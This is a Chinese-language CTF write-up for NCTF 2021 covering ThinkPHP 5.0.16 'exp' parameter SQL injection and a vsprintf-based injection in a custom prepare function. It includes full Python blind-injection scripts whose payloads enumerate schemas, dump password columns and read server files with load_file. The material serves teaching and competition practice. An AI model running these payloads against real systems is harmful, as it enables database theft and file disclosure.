nctf2021wp

官方wp:https://ctf.njupt.edu.cn/727.html

摆就完事了

题目链接:http://129.211.173.64:8085/public/index.php/index/index/index

www.zip下载源码

是thinkphp的源码,在url里面随便输入看报错

nctf2021wp - 图1

thinkphp 5.0.16的版本

接着发现图片的图床是出题人的博客看到第一篇文章(好像后来没了

关于thinkphp insert的注入,是5.0.15版本

首先要访问到源码的这个页面

nctf2021wp - 图2

根据驼峰命名的访问规则访问到:/public/index.php/index/M1saka_M1yuu/index

nctf2021wp - 图3

接着翻到一篇博客https://blog.csdn.net/rfrder/article/details/114376727?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163810494416780255295403%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=163810494416780255295403&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v1~rank_v31_ecpm-1-114376727.first_rank_v2_pc_rank_v29&utm_term=bfengj+thinkphp&spm=1018.2226.3001.4187

讲的是5.0.15版本可以用inc和dec来注入,但是官方16版本修复了这个洞,但是却没有修复exp的洞,原因是内置过滤了,通过出题人博客提示我发现出题人把源码的那个正则过滤改过了,

所以直接可以

?username[0]=exp&username[1]=if(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(!(table_schema<>’nctf’))),{i},1))>{mid},sleep(4),sleep(1))

因为没看debug 所以使用时间盲注的方式。最后用loadfile读文件就行

注入脚本:

  1. # -*- coding: UTF-8 -*-
  2. import requests
  3. import time
  4. flag = ''
  5. for i in range(1, 2000):
  6. min = 31
  7. max = 127
  8. while min < max:
  9. mid = (min + max) // 2
  10. #payload = f"http://129.211.173.64:8086/public/index.php/index/M1saka_M1yuu/index?username[0]=exp&username[1]=if(ascii(substr(database(),{i},1))>{mid},sleep(4),sleep(1))"
  11. #payload = f"http://47.101.160.205:8085/public/index.php/index/M1saka_M1yuu/index?username[0]=exp&username[1]=if(ascii(mid(select(group_concat(schema_name)from(information_schema.schemata))),{i},1))>{mid},sleep(4),sleep(1))"
  12. #payload = f"http://129.211.173.64:8086/public/index.php/index/M1saka_M1yuu/index?username[0]=exp&username[1]=if(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(!(table_schema<>'nctf'))),{i},1))>{mid},sleep(4),sleep(1))"
  13. # payload = f'\'or(if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0))#'
  14. # payload = f"\'or((if(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(!(table_schema<>'xinxicaiji'))),{i},1))>{mid},1,0)))#"
  15. #payload = f"http://129.211.173.64:8086/public/index.php/index/M1saka_M1yuu/index?username[0]=exp&username[1]=if(ascii(mid((SELECT(group_concat(column_name))from(information_schema.columns)where(!(table_name<>'m1saka'))),{i},1))>{mid},sleep(4),sleep(1))"
  16. # payload = f"\'or((if(ascii(mid((SELECT(group_concat(column_name))from(information_schema.columns)where(!(table_name<>'m1saka'))),{i},1))>{mid},1,0)))#"
  17. # payload = f"http://47.101.160.205:8085/public/index.php/index/M1saka_M1yuu/index?username[0]=exp&username[1]=if(ascii(mid((select(group_concat(password))from(nctf.m1saka)),{i},1))>{mid},sleep(4),sleep(1))"
  18. #payload = f"\'or((if(ascii(mid((select(group_concat(dangqiandizhi))from(xinxicaiji.tb_info)),{i},1))>{mid},1,0)))#"
  19. #payload=f"or(ascii(substr(version(),{i},1))>{mid})#"
  20. payload = f"http://129.211.173.64:8086/public/index.php/index/M1saka_M1yuu/index?username[0]=exp&username[1]=if(ascii(mid((select(load_file('/var/www/html/ffllaagg.php'))),{i},1))>{mid},sleep(4),sleep(1))"
  21. #select(load_file('/var/www/html/flag.php'))
  22. headers = {
  23. 'User-Agent':
  24. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0',
  25. 'Content-Type': 'application/x-www-form-urlencoded'
  26. }
  27. startTime = time.time()
  28. response = requests.get(url=payload)
  29. print(payload)
  30. if time.time() - startTime > 3:
  31. min = mid + 1
  32. else:
  33. max = mid
  34. if min != 31:
  35. flag += chr(min)
  36. else:
  37. break
  38. print(flag)
  39. #id,username,password,flag_in_flag.php,age

ezsql

题目链接:http://129.211.173.64:3080/login.php

  1. if (isset($_POST['password'])){
  2. $query = db::prepare("SELECT * FROM `users` where password=md5(%s)", $_POST['password']);
  3. if (isset($_POST['name'])){
  4. $query = db::prepare($query . " and name=%s", $_POST['name']);
  5. }
  6. else{
  7. $query = $query . " and name='benjaminEngel'";
  8. }
  9. $query = $query . " limit 1";
  10. $result = db::commit($query);
  11. if ($result->num_rows > 0){
  12. die('NCTF{ez');
  13. }
  14. else{
  15. die('Wrong name or password.');
  16. }
  17. }

这里感觉可以用name=)去闭合md5函数的,但是发现在那个prepare函数有校验,跟进到prepare函数

  1. public static function prepare($query, $args){
  2. if (is_null($query)){
  3. return;
  4. }
  5. if (strpos($query, '%') === false){
  6. die('%s not included in query!');
  7. return;
  8. }
  9. #这里进行了初步检测查看语句里是否包含%
  10. // get args
  11. $args = func_get_args(); 返回一个包含函数参数列表的数组
  12. array_shift( $args );将数组开头的单元移出数组 ,这里的话就是第二个参数
  13. $args_is_array = false;
  14. if (is_array($args[0]) && count($args) == 1 ) {
  15. $args = $args[0];
  16. $args_is_array = true;
  17. }
  18. $count_format = substr_count($query, '%s');
  19. %s数量
  20. if($count_format !== count($args)){
  21. die('Wrong number of arguments!');
  22. return;
  23. }
  24. 这里name要用数组,因为有俩个%s
  25. // escape
  26. foreach ($args as &$value){
  27. $value = static::$db->real_escape_string($value);
  28. }
  29. // prepare
  30. $query = str_replace("%s", "'%s'", $query);
  31. $query = vsprintf($query, $args);
  32. 利用sprintf注入
  33. return $query;
  34. }

拼接后的sql语句大概是这样的

SELECT * FROM users where password=md5(%s)” “ and name[0]=)or 1#name[1]=1 “

这里我试了一下数组就出了

nctf2021wp - 图4

注入脚本:

  1. import requests
  2. tr = "NCTF{3v3ryth1ng_"
  3. url = "http://129.211.173.64:3080/login.php"
  4. def sql(url):
  5. res = ""
  6. for i in range(1, 1000):
  7. left = 32
  8. right = 128
  9. mid = (left + right) // 2
  10. while (left < right):
  11. # payload = ")or(ord(substr((select(database())),%d,1))>%d)#" % (i,mid)
  12. # payload = ")or((ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1)))>%d)#" % (i, mid)
  13. # payload = ")or((ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=0x32303231)),%d,1)))>%d)#" % (i, mid)
  14. # payload = ")or((ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x4e635446)),%d,1)))>%d)#" % (i, mid)
  15. payload = ")or((ord(substr((select `fl@g` from `2021`.NcTF limit 0,1),%d,1)))>%d)#" % (i, mid)
  16. data = {"name[0]": payload, "name[1]": "1", "password": "%s"}
  17. #urls = url + payload
  18. res = requests.post(url=url, data=data)
  19. if tr in res.text:
  20. left = mid + 1
  21. else:
  22. right = mid
  23. mid = (left + right) // 2
  24. if (mid == 32):
  25. break
  26. res += chr(mid)
  27. print(res)
  28. sql(url)

摆就完事2.0

题目链接:http://129.211.173.64:8086/public/index.php/index/index/index

和1.0一样

只是flag的位置变了

ezjava

这题感觉是反序列化没做出来(tcl

签到

f12复制

misc

做题做累了来玩玩游戏吧

就在那个level2文件里面用那个notepad++打开里面有个网址

Hello せかい

ida打开 按f5就出了